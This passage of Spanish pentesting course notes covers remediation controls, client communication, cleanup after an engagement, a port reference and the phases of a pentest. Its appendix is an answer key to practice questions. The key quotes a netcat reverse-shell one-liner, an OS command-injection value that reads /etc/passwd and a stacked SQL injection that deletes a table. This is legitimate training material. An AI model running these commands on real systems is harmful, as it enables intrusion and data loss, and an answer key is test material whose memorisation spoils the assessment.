- Herramienta Dradis: importa resultados de múltiples herramientas (Nmap, Burp, Metasploit) y genera reportes estructurados

9.2 Clasificación de controles de remediación

Por cada hallazgo se recomienda uno o más controles para mitigarlo. Los controles se clasifican en cuatro categorías:

Tipo de control	Qué es	Ejemplos concretos
Técnicos	Soluciones implementadas en sistemas o código	MFA, cifrado de datos en reposo y tránsito, patch management, sanitización de inputs para SQLi/XSS, rotación de claves, microsegmentación (zero trust), WAF
Administrativos	Políticas, procedimientos y procesos organizativos	RBAC (control de acceso basado en roles), SSDLC (integrar seguridad en el ciclo de desarrollo), políticas de contraseñas, gestión del cambio, contratos con terceros

Tipo de control	Qué es	Ejemplos concretos
Operacionales	Prácticas del día a día del personal	Rotación de puestos, separación de funciones, vacaciones obligatorias (para detectar fraudes), restricciones por horario, capacitación de empleados contra ingeniería social
Físicos	Controles de acceso físico al hardware y entornos	Torniquetes de control de acceso, controles biométricos (huella, iris), videovigilancia con retención, guardia de seguridad, gestión de visitantes

9.3 Comunicación durante el proceso

Canales de comunicación a establecer antes del test

Tipo de contacto	Rol	Cuándo contactarlo
Contacto principal	Quien firmó el contrato, gerente del proyecto	Informes de estado periódicos, dudas generales
Contacto técnico	IT/Seguridad del cliente	Problemas de acceso, aclaraciones técnicas, sistemas frágiles
Contacto de emergencia	CISO o CTO, disponible 24/7	Hallazgos críticos, IOC, incidentes durante el test

Gatillos de comunicación inmediata

Gatillo	Descripción	Acción requerida
Hallazgo crítico	Vulnerabilidad explotable que puede comprometer datos sensibles o sistemas críticos	Contactar al contacto de emergencia INMEDIATAMENTE — no esperar al reporte final
IOC — Indicadores de Compromiso previo	Evidencia de que un atacante real ya comprometió el sistema antes o durante el test	EMERGENCIA — escalar de inmediato. El cliente puede estar siendo atacado ahora.
Actividad criminal encontrada	Evidencia de que el cliente está siendo víctima de crimen organizado, o de que un empleado comete actividades ilegales	Reportar según el marco legal y el acuerdo firmado
Sistema crítico accidentalmente afectado	Una herramienta causó un problema no esperado en producción	Notificar inmediatamente y coordinar respuesta

9.4 Actividades post-entrega del reporte

Cleanup — Limpieza del engagement

Qué limpiar	Cómo verificar
Credenciales creadas	net user (Windows) / /etc/passwd y /etc/shadow (Linux)
Shells y backdoors instalados	netstat -tulpn, verificar servicios y tareas programadas
Herramientas subidas	Revisar directorios /tmp, C:\Temp, y cualquier directorio de trabajo
Datos de prueba en BDs	Restaurar snapshot o eliminar registros con IDs conocidos
Configuraciones modificadas	Comparar contra baseline documentado antes del test
Persistencia (registry, cron, etc.)	Revisar todos los mecanismos de inicio automatizado

Actividades de cierre

- Documento de aceptación firmado por el cliente: confirma que el trabajo fue completado y aceptado
- Reunión de lecciones aprendidas (Lessons Learned): qué salió bien, qué mejorar en futuros tests
- Retest: si el cliente implementa las correcciones, se puede hacer un nuevo test para validar que funcionaron
- Destrucción segura de datos del cliente: todos los datos sensibles del cliente deben ser eliminados de los sistemas del pentester usando shred (Linux) o wipe. NO guardarlos.
- Distribución segura del reporte: copias numeradas, log de quién recibió qué copia, cifrado para envío electrónico

9 — Conceptos clave del módulo

Término	Definición completa
C-Suite	Ejecutivos de alto nivel: CEO, CISO, CIO, CFO. Hablan de riesgo y negocio, no de vectores CVSS ni puertos TCP.
False Positive	Vulnerabilidad reportada que no existe realmente. Un reporte profesional debe tener CERO falsos positivos — validar todo antes de reportar.
False Negative	Vulnerabilidad real que NO fue encontrada. Más peligroso que el falso positivo porque da falsa sensación de seguridad.
IOC (Indicators of Compromise)	Evidencia técnica de que un sistema ha sido comprometido: archivos extraños, conexiones salientes inusuales, usuarios creados, etc.
SSDLC (Secure Software Development Lifecycle)	Integrar prácticas de seguridad en cada fase del desarrollo de software, no solo hacer pentest al final.
Microsegmentación	Aplicar políticas de seguridad a nivel de VM o contenedor individual. Más granular que VLANs. Implementación de Zero Trust.
Point-in-Time Assessment	Un pentest refleja la seguridad SOLO en el momento en que se realizó. No garantiza nada sobre el futuro.

Apéndice — Referencia Rápida

A.1 Respuestas de Prácticas — Todas las correctas

Módulo / Práctica	Pregunta	Respuesta correcta
2.2.3 — RoE	3 componentes principales de las Reglas de Compromiso	Tipos de pruebas permitidas, horarios, cronograma del proyecto
2.2.5 — Activos in-scope	Activos técnicos dentro del alcance típicos	Documentación API (Swagger/WSDL), SSIDs, diagramas de arquitectura de red
2.2.8 — Estrategia	En un test unknown-environment, qué información inicial se da	Solo IPs y dominios — información mínima
2.2.9 Lab — Planificación	Mayor preocupación del cliente típica	Vulnerabilidades en sus servicios web alojados
2.2.10 Lab — Acuerdo	3 secciones típicas de un acuerdo	Cronograma, costos/pagos y alcance del trabajo
2.3.2 — Mentalidad ética	Actividad: reportar evidencia de compromiso real	Identificación y reporte inmediato de actividad criminal
2.3.3 Lab — Caso Equifax	Obligaciones violadas en el caso Equifax	Proteger datos personales e informar a clientes sobre la filtración
6.3.2 — Lógica empresarial	3 ejemplos de fallas de lógica empresarial	Propiedad no verificada, omisión de autenticación por ruta alternativa, aplicación incorrecta de flujo conductual
6.4.3 — SQLi tipos	SQLi que obtiene datos directamente en la respuesta	En banda (In-band)
6.4.3 — SQLi tipos	SQLi que envía datos por email u otro canal	Fuera de banda (Out-of-band)
6.4.3 — SQLi tipos	SQLi sin datos visibles — infiere por comportamiento	Ciega o Inferencial (Blind)
6.4.3 — SQLi técnicas	1; DELETE FROM IT_Admins — tipo de ataque	Consultas Apiladas (Stacked Queries)
6.4.3 — SQLi fingerprint	Propósito de la huella digital de BD	Entender qué base de datos usa la aplicación para adaptar los payloads
6.4.5 — Inyección comandos	198.51.100.5;cat /etc/passwd — vulnerabilidad probada	Inyección de comandos del sistema operativo
7.1.2 — Modelo cloud	Suscripción por juego en lugar de VM por juego	SaaS
7.1.4 — Credential Harvesting	Mitigación principal	Autenticación Multifactor (MFA)
7.1.12 — Emparejamiento	Account Takeover	Gaining access to a user or application account
7.1.12 — Emparejamiento	Malware Injection	Injecting malicious app as valid cloud instance
7.1.12 — Emparejamiento	Resource Exhaustion	Overwhelm resources to cause crash/unavailability
7.2.3 — Móviles	Principio de mínimo privilegio	No permitir que las apps se ejecuten como root

Módulo / Práctica	Pregunta	Respuesta correcta
7.2.4 — Herramientas móviles	Drozer	Exploits y evaluación para plataformas Android
7.2.4 — Herramientas móviles	Frida	Instrumentación dinámica en tiempo real
7.2.4 — Herramientas móviles	MobSF	Análisis automatizado de malware y vulnerabilidades móviles
7.2.7 — IoT desafíos	3 razones por las que IoT es difícil de asegurar	Hardware/software dispar, tecnologías legacy, múltiples vendors sin responsable único
7.2.10 — IoT seguridad	3 verificaciones para cámaras de vigilancia	Actualizables, credenciales cambiadas, soporte de cifrado
7.2.13 — IPMI	Si el BMC es comprometido, el atacante puede...	Monitorear actividad, reiniciar el servidor e instalar software malicioso (implants)
7.2.16 — Contenedores	Herramienta detección de amenazas Kubernetes en tiempo real	Falco
7.2.16 — Contenedores	Herramienta CIS Benchmark assessment para Kubernetes	kube-bench
7.2.16 — Contenedores	Herramienta ofensiva de pentesting para Kubernetes	kube-hunter
7.2.16 — Contenedores	Herramienta para detectar malware en imágenes Docker	Dagda
7.2.16 — Contenedores	Escáner de vulnerabilidades en imágenes de contenedores	Grype (Anchore)
8.1.3 — Shell tipo	nc 192.168.78.145 777 -e /bin/bash desde víctima	Reverse shell — la víctima inicia la conexión hacia el atacante
8.2.4 — Herramientas LotL	BloodHound — función	Mapear rutas de ataque en Active Directory
8.2.4 — Herramientas LotL	Desventaja de usar RDP para pivoting	El usuario legítimo puede detectar que hay una sesión remota activa
8.2.4 — PsTools	PsGetSid	Obtener SIDs de cuentas y grupos
8.2.4 — PsTools	PsInfo	Información detallada del sistema
8.2.4 — PsTools	PsList	Listar procesos en ejecución
8.2.4 — PsTools	PsLogList	Ver logs de eventos del sistema
8.2.4 — PsTools	PsLoggedOn	Ver qué cuentas están actualmente logueadas
8.2.6 — Privesc	Cambiar ID en URL para ver datos de otro usuario mismo nivel	Escalación Horizontal
8.2.8 — Esteganografía	Herramienta para ocultar datos en imágenes	steghide
9 — CVSS	Métrica más valiosa para el cliente	Environmental Metric Group — ajustada al entorno real del cliente
GVM Lab — rexec	3 acciones para explotar rexec	Descargar cliente rexec, iniciar sesión remota, usar enumeración

Módulo / Práctica	Pregunta	Respuesta correcta
		SMB con Nmap para encontrar credenciales en texto plano

A.2 Tabla de puertos de referencia rápida

Puerto	Protocolo	Servicio	Qué buscar en pentesting
21	TCP	FTP	Acceso anónimo, transferencia de credenciales en texto plano, versiones vulnerables
22	TCP	SSH	Versiones antiguas (CVEs conocidos), credenciales débiles, claves privadas expuestas
23	TCP	Telnet	Protocolo en texto plano — capturar credenciales con Wireshark. No debería existir.
25	TCP	SMTP	Open relay (enviar spam), enumeración de usuarios (VRFY, RCPT TO)
53	TCP/UDP	DNS	Zone transfer (AXFR), enumeración de subdominios, DNS cache poisoning
80	TCP	HTTP	Todo el top 10 OWASP — directorios, SQLi, XSS, misconfigs
110	TCP	POP3	Credenciales en texto plano, acceso a correos
135	TCP	RPC/DCOM	Múltiples vulnerabilidades históricas en Windows
139/445	TCP	SMB/NetBIOS	EternalBlue (MS17-010), shares sin auth, enumeración de usuarios
143	TCP	IMAP	Credenciales en texto plano, acceso a correos
389	TCP/UDP	LDAP	Inyección LDAP, enumeración de AD sin credenciales
443	TCP	HTTPS	Igual que 80 + verificar certificado y configuración TLS
623	UDP	IPMI	Credenciales en texto plano, hash cracking offline

Puerto	Protocolo	Servicio	Qué buscar en pentesting
1433	TCP	MSSQL	Credenciales SA por defecto, xp_cmdshell habilitado
3306	TCP	MySQL	Acceso remoto habilitado, credenciales root sin contraseña
3389	TCP	RDP	BlueKeep (CVE-2019-0708), credenciales débiles, NLA desactivado
5985/5986	TCP	WinRM	PowerShell Remoting — Evil-WinRM si hay credenciales
6379	TCP	Redis	Sin autenticación por defecto — lectura/escritura de datos, RCE
8080/8443	TCP	HTTP alternativo	Paneles de admin: Jenkins, Tomcat, routers, aplicaciones en desarrollo
27017	TCP	MongoDB	Sin autenticación por defecto en versiones antiguas

A.3 Fases del Pentest — Resumen del proceso completo

Fase	Nombre	Actividades principales	Módulos relacionados
1	Reconocimiento pasivo	OSINT: DNS, WHOIS, Shodan, redes sociales, crt.sh, metadatos	Módulo 3
2	Reconocimiento activo	Nmap, enumeración de servicios, sniffing	Módulo 3
3	Escaneo de vulnerabilidades	Nessus/OpenVAS, validación de resultados, análisis CVEs	Módulo 3
4	Explotación	Metasploit, exploits manuales, vulnerabilidades web, inyecciones	Módulos 6, 7
5	Post-explotación	Persistencia, escalación de privilegios, dump de credenciales	Módulo 8
6	Movimiento lateral	Pivoting, Pass-the-Hash, SMB, WinRM, RDP	Módulo 8
7	Cobertura de huellas	Limpiar logs, eliminar herramientas, restaurar configuraciones	Módulo 8

Fase	Nombre	Actividades principales	Módulos relacionados
8	Reporte	Documentar hallazgos, calcular CVSS, redactar remediaciones	Módulo 9
